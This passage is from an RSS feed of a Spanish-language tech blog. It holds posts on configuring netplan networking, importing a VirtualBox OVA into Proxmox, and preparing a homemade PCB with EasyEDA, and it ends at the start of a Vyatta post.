&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c"># For more information, see netplan(5)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">network&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">version&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">renderer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">networkd&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ethernets&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP FIJA&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s3&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">no&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp6&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">no&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="m">10.0.2.16&lt;/span>&lt;span class="l">/24&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="s2">&amp;#34;3bb7::15/64&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">gateway4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">10.0.2.2&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">gateway6&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s2">&amp;#34;3fb7::1&amp;#34;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">nameservers&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">search&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="l">localhost]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">1.1.1.1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">9.9.9.9&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP con VLAN&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>{}&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="c"># IP con DHCP&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">enp0s9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">dhcp4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vlans&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">vlans.100&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">ip&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="m">100&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">link&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">enp0s8&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="nt">addresses&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="m">192.168.10.11&lt;/span>&lt;span class="l">/24]&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Si no se va a usar IPv6 lo mas recomendable es desactivarlo, esto se puede hacer con los siguientes comandos de forma termporal&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo sysctl -w net.ipv6.conf.all.disable_ipv6&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo sysctl -w net.ipv6.conf.default.disable_ipv6&lt;span class="o">=&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Para hacer os cambios persistentes habría que añadir en el fichero &lt;em>/etc/sysctl.conf&lt;/em> las siguientes lineas:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">net.ipv6.conf.all.disable_ipv6=1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">net.ipv6.conf.default.disable_ipv6=1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="aplicar-cambios">Aplicar cambios&lt;/h1>
&lt;p>Una vez que se ha realizado la configuración necesaria, se puede comprobar que el fichero esta correctamente escrito y aplicar los cambios con los siguientes comandos:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Comprobar la configuración&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">netplan --debug generate
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Aplicar los cambios&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">netplan --debug apply
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="fuentes">Fuentes&lt;/h1>
&lt;p>Fuentes: &lt;a class="link" href="https://netplan.io/" target="_blank" rel="noopener"
>1&lt;/a>, &lt;a class="link" href="https://netplan.io/examples" target="_blank" rel="noopener"
>2&lt;/a>, &lt;a class="link" href="https://mytcpip.com/2019/05/05/ubuntu-18-04-y-netplan-tutorial-rapido-de-los-cambios-de-networking/" target="_blank" rel="noopener"
>3&lt;/a>&lt;/p></description></item><item><title>Import ova proxmox</title><link>https://www.procamora.com/p/import_ova_proxmox/</link><pubDate>Sun, 08 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/import_ova_proxmox/</guid><description>&lt;img src="https://www.procamora.com/covers/htb.png" alt="Featured image of post Import ova proxmox" />&lt;p>Para convertir una ova generada por Virtualbox o equivalentes en una imagen valida para Proxmox, hay que realizar una serie de pasos, que serian los siguientes:&lt;/p>
&lt;p>Lo primero que hay que tener en cuenta es que una ova es un archivo tar que contiene tres ficheros&lt;/p>
&lt;ul>
&lt;li>arch-disk001.vmdk: Contiene el disco.&lt;/li>
&lt;li>arch.mf: Contiene los hash de los otros dos ficheros.&lt;/li>
&lt;li>arch.ovf: Contiene la información de la máquina, para importarla con los mismos ajustes.&lt;/li>
&lt;/ul>
&lt;p>El primer paso sera enviar la ova al servidor, esto se puede hacer fácilmente con el comando &lt;em>scp&lt;/em>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">scp arch.ova root@192.168.1.254:~
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez que ya tenemos la máquina dentro de Proxmox tendremos que descomprimir la ova.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">tar xf arch.ova
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>A Partir de este punto tenemos dos métodos para proceder, el primero método es el mas automático, ya que se puede hacer prácticamente todo por consola, en segundo método requiere de interfaz gráfica.&lt;/p>
&lt;h1 id="método-1-pendiente-de-testear">Método 1 (Pendiente de testear)&lt;/h1>
&lt;p>Lo primero es saber cual va a ser el &lt;em>VMid&lt;/em> de la máquina, para saber cual es el siguiente podemos verlo gráficamente o con el comando &lt;em>qm list&lt;/em>. Una vez que sabemos el id lo que haremos sera indicarlo en la variable de entorno para que lo usen los siguientes comandos.&lt;/p>
&lt;p>El primer paso sera convertir el disco de formato &lt;em>vmdk&lt;/em> a formato &lt;em>qcow2&lt;/em>. Además este comando ya deja el disco en la ruta que usará la máquina virtual cuando se cree.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">VMID&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">115&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qemu-img convert &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -f vmdk &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -O qcow2 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> arch-disk001.vmdk &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> /var/lib/vz/images/&lt;span class="nv">$VMID&lt;/span>/vm-&lt;span class="nv">$VMID&lt;/span>-disk-1.qcow2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez que esta creado el disco en su ruta unicamente sera necesario crear la máquina usando este disco. En general se puede modificar este comando para que se ajuste mas a los requisitos de la máquina final, pero personalmente me parece mas cómodo y seguro hacerlo gráficamente una vez que este creada.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">NAME&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;arch&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qm create &lt;span class="nv">$VMID&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --name &lt;span class="nv">$NAME&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --net0 virtio,bridge&lt;span class="o">=&lt;/span>vmbr0 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --bootdisk virtio0 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --ostype l26 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --memory &lt;span class="m">1024&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --onboot no &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --sockets &lt;span class="m">1&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --cores &lt;span class="m">1&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --virtio0 local:&lt;span class="nv">$VMID&lt;/span>/vm-&lt;span class="nv">$VMID&lt;/span>-disk-1.qcow2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez hecho esto solo seria necesario ajustar la configuración y arrancar la máquina para probar su correcto funcionamiento.&lt;/p>
&lt;h1 id="método-2">Método 2&lt;/h1>
&lt;p>Este método es el que he estado usando y funciona por el momento bastante bien, la diferencia con el otro reside en donde se guardan las imágenes, en este se guardan en &lt;em>local-lvm&lt;/em> mientras que en otro se guardan en el disco &lt;em>local&lt;/em>. Además este proceso es mas gráfico y por lo tanto mas lento.&lt;/p>
&lt;p>El primero paso consiste en crear una máquina, se puede hacer gráficamente o con el comando mostrado anteriormente. Lo importante de este paso es que el disco que se crea hay que hacerle &lt;em>deteach&lt;/em> y despues borrarlo, ya que no lo vamos a usar.&lt;/p>
&lt;h2 id="confirmar-que-este-comando-funciona-bien-si-poner-el-disco">CONFIRMAR QUE ESTE COMANDO FUNCIONA BIEN SI PONER EL DISCO&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">VMID&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">115&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">NAME&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;arch&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qm create &lt;span class="nv">$VMID&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --name &lt;span class="nv">$NAME&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --net0 virtio,bridge&lt;span class="o">=&lt;/span>vmbr0 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --bootdisk virtio0 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --ostype l26 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --memory &lt;span class="m">1024&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --onboot no &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --sockets &lt;span class="m">1&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> --cores &lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez que se ha borrado el disco de la imagen, el siguiente paso sera importar el nuevo disco, esto se realiza con el siguiente comando:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">VMID&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">115&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qm importdisk &lt;span class="nv">$VMID&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> arch-disk001.vmdk &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> local-lvm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> -format qcow2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Finalmente el disco aparece gráficamente, pero no esta conectado con la máquina, es necesario editarlo y darle a aplicar para que se registre accesible para la máquina. También seria posible editar el tipo de conectar usando y ponerlo como SATA o IDE.&lt;/p>
&lt;blockquote>
&lt;p>Un dato interesante es la ruta donde se guardan los fichero ISOs subidos gráficamente, esta ruta es: &lt;em>/var/lib/vz/template/sio/&lt;/em>&lt;/p>
&lt;/blockquote></description></item><item><title>Diseño de un PCB con EasyEDA</title><link>https://www.procamora.com/p/diseno_de_un_pcb_con_easyeda/</link><pubDate>Sun, 29 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/diseno_de_un_pcb_con_easyeda/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Diseño de un PCB con EasyEDA" />&lt;p>A continuación se va a explicar como diseñar un circuito para poder crear un PCB usando el método del planchado. Este método consiste en imprimir el circuito en un papel fotográfico para posteriormente plancharlo en una plaqueta de cobre y después mediante el uso de un ácido eliminar las partes de cobre sobrantes. Se va a partir que se tiene el circuito diseñado y creado el PCB.&lt;/p>
&lt;h1 id="revisión-del-esquema">Revisión del esquema&lt;/h1>
&lt;p>Es recomendable realizar una serie de revisiones en el esquema para prevenir posibles errores, están son las siguientes:&lt;/p>
&lt;ul>
&lt;li>Revisar haciendo zoom para asegurarse que todos las conexiones están realizadas correctamente.&lt;/li>
&lt;li>Si hay pines no usados marcarlos como &amp;ldquo;not used&amp;rdquo;.&lt;/li>
&lt;li>Poner una etiqueta en los cables para hacer mas sencilla la revisión posterior del PCB.&lt;/li>
&lt;/ul>
&lt;h1 id="revisión-en-el-pcb">Revisión en el PCB&lt;/h1>
&lt;p>La revisión del PCB es obligatoria antes de imprimar el PCB ya que un fallo en esta parte conllevaría una perdida de horas de trabajo.&lt;/p>
&lt;ul>
&lt;li>Revisar que el autoruteo del PCB se ha realizado correctamente.&lt;/li>
&lt;li>Revisar que todas las lineas tienen ángulos de 45° como máximo, modificando aquellas que puedan tener ángulos de 90°, ya que no es recomendable.&lt;/li>
&lt;li>Regenerar la capa de tierra, por si se ha realizado alguna modificación.&lt;/li>
&lt;li>Revisar que no hay errores en el PCB, esto se puede revisar en Design manager &amp;gt; DRC Errors.&lt;/li>
&lt;li>Cambiar orificios de los componentes siguiendo la siguiente tabla. Esto se debe a que aunque en el esquema salen con el orificio correcto, al crear el PCB de forma casera es recomendable modificarlos para facilitar la realización de los agujeros con la broca.&lt;/li>
&lt;/ul>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Componente&lt;/th>
&lt;th>Orificio original&lt;/th>
&lt;th>Orificio optimo&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Componentes 1/8W&lt;/td>
&lt;td>0.8mm&lt;/td>
&lt;td>0.6mm&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Encapsulados TO-92&lt;/td>
&lt;td>0.8mm&lt;/td>
&lt;td>0.6mm&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Encapsulados DIP-8&lt;/td>
&lt;td>0.8mm&lt;/td>
&lt;td>0.6mm&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Componentes 1/4W&lt;/td>
&lt;td>1mm&lt;/td>
&lt;td>0.8mm&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Reles pequeño&lt;/td>
&lt;td>1mm&lt;/td>
&lt;td>0.8mm&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Reles grandes&lt;/td>
&lt;td>&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Conectores&lt;/td>
&lt;td>&lt;/td>
&lt;td>1mm&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h1 id="exportar-el-pcb">Exportar el PCB&lt;/h1>
&lt;p>Para exportar hay que tener en cuenta el diseño del PCB, si se ha creado el PCB en la capa superior (no recomendable) sera necesario exportarlo en modo espejo, en nuestro caso se va a partir de que se ha diseñado el conexionado en la capa inferior y en la capa superior solo esta la serigrafía de los componentes, ahorrando que sea necesario exportarlo en modo espejo.&lt;/p>
&lt;p>La exportación seria en formato PDF y las capas que habría que exportar son las siguientes:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Capas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Capa inferior&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Bordes de placa&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Multi-Layer&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Orificio&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Como recomendación esta en usar como motor el ordenador local, haciendo que tarde bastante menos tiempo que si se genera el PDF por el servidor.&lt;/p>
&lt;p>A continuación podemos ver una imagen de la ventana de exportación:&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/export_easueda.png"
loading="lazy"
alt="easy"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;h1 id="impresión-del-pcb">Impresión del PCB&lt;/h1>
&lt;p>Para imprimir en papel fotográfico es recomendable seguir estas recomendaciones:&lt;/p>
&lt;ul>
&lt;li>Realizar un limpiado de los cabezales de la impresora, ya que se necesita que la imagen sea precisa.&lt;/li>
&lt;li>Configurar la impresora para que use papel A6, con el objetivo de poder aprovechar ese papel para otras impresiones.&lt;/li>
&lt;li>Configurar el papel como grueso, para que caliente mas el papel y se obtenga mejor impresión.&lt;/li>
&lt;li>Configurar la resolución en alta (1200 Res)&lt;/li>
&lt;/ul></description></item><item><title>Vyatta</title><link>https://www.procamora.com/p/vyatta/</link><pubDate>Thu, 05 Dec 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/vyatta/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Vyatta" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
